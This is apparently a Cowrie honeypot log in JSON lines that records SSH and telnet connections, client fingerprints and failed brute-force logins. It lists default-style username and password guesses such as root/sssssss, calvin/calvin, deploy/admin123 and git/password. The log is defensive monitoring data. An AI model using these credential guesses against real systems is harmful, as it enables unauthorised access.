{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:03.954829Z","src_ip":"45.156.87.69","session":"cbe3e93975d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:04.068663Z","src_ip":"45.156.87.69","session":"cbe3e93975d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hcicloud","password":"hcicloud","message":"login attempt [hcicloud/hcicloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:04.592136Z","src_ip":"45.156.87.69","session":"cbe3e93975d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:05.789348Z","src_ip":"45.156.87.69","session":"cbe3e93975d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53370,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee02b9f4d58b","protocol":"ssh","message":"New connection: 193.37.70.224:53370 (159.203.135.109:22) [session: ee02b9f4d58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:06.492078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:06.496994Z","src_ip":"193.37.70.224","session":"ee02b9f4d58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:06.587053Z","src_ip":"193.37.70.224","session":"ee02b9f4d58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sssssss","message":"login attempt [root/sssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:06.856701Z","src_ip":"193.37.70.224","session":"ee02b9f4d58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":46870,"dst_ip":"159.203.135.109","dst_port":22,"session":"5596f9370ba9","protocol":"ssh","message":"New connection: 45.156.87.69:46870 (159.203.135.109:22) [session: 5596f9370ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:07.754004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:07.775199Z","src_ip":"45.156.87.69","session":"5596f9370ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.54293179512024,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:07.848758Z","src_ip":"152.42.224.71","session":"aa0f1529b735","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:07.868703Z","src_ip":"45.156.87.69","session":"5596f9370ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:07.948410Z","src_ip":"193.37.70.224","session":"ee02b9f4d58b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:08.311916Z","src_ip":"45.156.87.69","session":"5596f9370ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f8de32a38d","protocol":"telnet","message":"New connection: 152.42.224.71:56634 (10.17.0.5:23) [session: d0f8de32a38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:09.075691Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:09.396831Z","src_ip":"45.156.87.69","session":"5596f9370ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":46880,"dst_ip":"159.203.135.109","dst_port":22,"session":"381385949be7","protocol":"ssh","message":"New connection: 45.156.87.69:46880 (159.203.135.109:22) [session: 381385949be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:11.502106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:11.506662Z","src_ip":"45.156.87.69","session":"381385949be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:11.610873Z","src_ip":"45.156.87.69","session":"381385949be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.383231401443481,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:12.194994Z","src_ip":"169.148.75.47","session":"46ba8c7e7c74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:12.372670Z","src_ip":"45.156.87.69","session":"381385949be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:13.460475Z","src_ip":"45.156.87.69","session":"381385949be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.697636842727661,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:14.823336Z","src_ip":"125.121.116.41","session":"8c622e37ec26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":46882,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1a5746c350","protocol":"ssh","message":"New connection: 45.156.87.69:46882 (159.203.135.109:22) [session: 4c1a5746c350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:15.322770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:15.331027Z","src_ip":"45.156.87.69","session":"4c1a5746c350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:15.456591Z","src_ip":"45.156.87.69","session":"4c1a5746c350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brian","password":"12345678","message":"login attempt [brian/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:16.311908Z","src_ip":"45.156.87.69","session":"4c1a5746c350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.066633462905884,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:16.620001Z","src_ip":"152.42.224.71","session":"1a0ee9fbd374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:17.486588Z","src_ip":"45.156.87.69","session":"4c1a5746c350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16910,"dst_ip":"159.203.135.109","dst_port":22,"session":"04508285c005","protocol":"ssh","message":"New connection: 45.156.87.69:16910 (159.203.135.109:22) [session: 04508285c005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:18.878386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:19.065877Z","src_ip":"45.156.87.69","session":"04508285c005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:19.069939Z","src_ip":"45.156.87.69","session":"04508285c005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin123","message":"login attempt [deploy/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:19.821608Z","src_ip":"45.156.87.69","session":"04508285c005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:20.907461Z","src_ip":"45.156.87.69","session":"04508285c005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16924,"dst_ip":"159.203.135.109","dst_port":22,"session":"bacbd5bb88a1","protocol":"ssh","message":"New connection: 45.156.87.69:16924 (159.203.135.109:22) [session: bacbd5bb88a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:22.468427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:22.473205Z","src_ip":"45.156.87.69","session":"bacbd5bb88a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:22.572067Z","src_ip":"45.156.87.69","session":"bacbd5bb88a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"password","message":"login attempt [git/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:22.870761Z","src_ip":"45.156.87.69","session":"bacbd5bb88a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:23.955606Z","src_ip":"45.156.87.69","session":"bacbd5bb88a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1196b6cf02","protocol":"telnet","message":"New connection: 152.42.224.71:55816 (10.17.0.5:23) [session: 3f1196b6cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:24.593762Z"}
{"eventid":"cowrie.session.closed","duration":105.96029329299927,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:24.988942Z","src_ip":"152.42.224.71","session":"e7649066e053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29720,"dst_ip":"159.203.135.109","dst_port":22,"session":"01e9fa23c079","protocol":"ssh","message":"New connection: 45.156.87.69:29720 (159.203.135.109:22) [session: 01e9fa23c079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:26.245434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:26.255955Z","src_ip":"45.156.87.69","session":"01e9fa23c079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:46:26.356532Z","src_ip":"45.156.87.69","session":"01e9fa23c079","protocol":"ssh"}
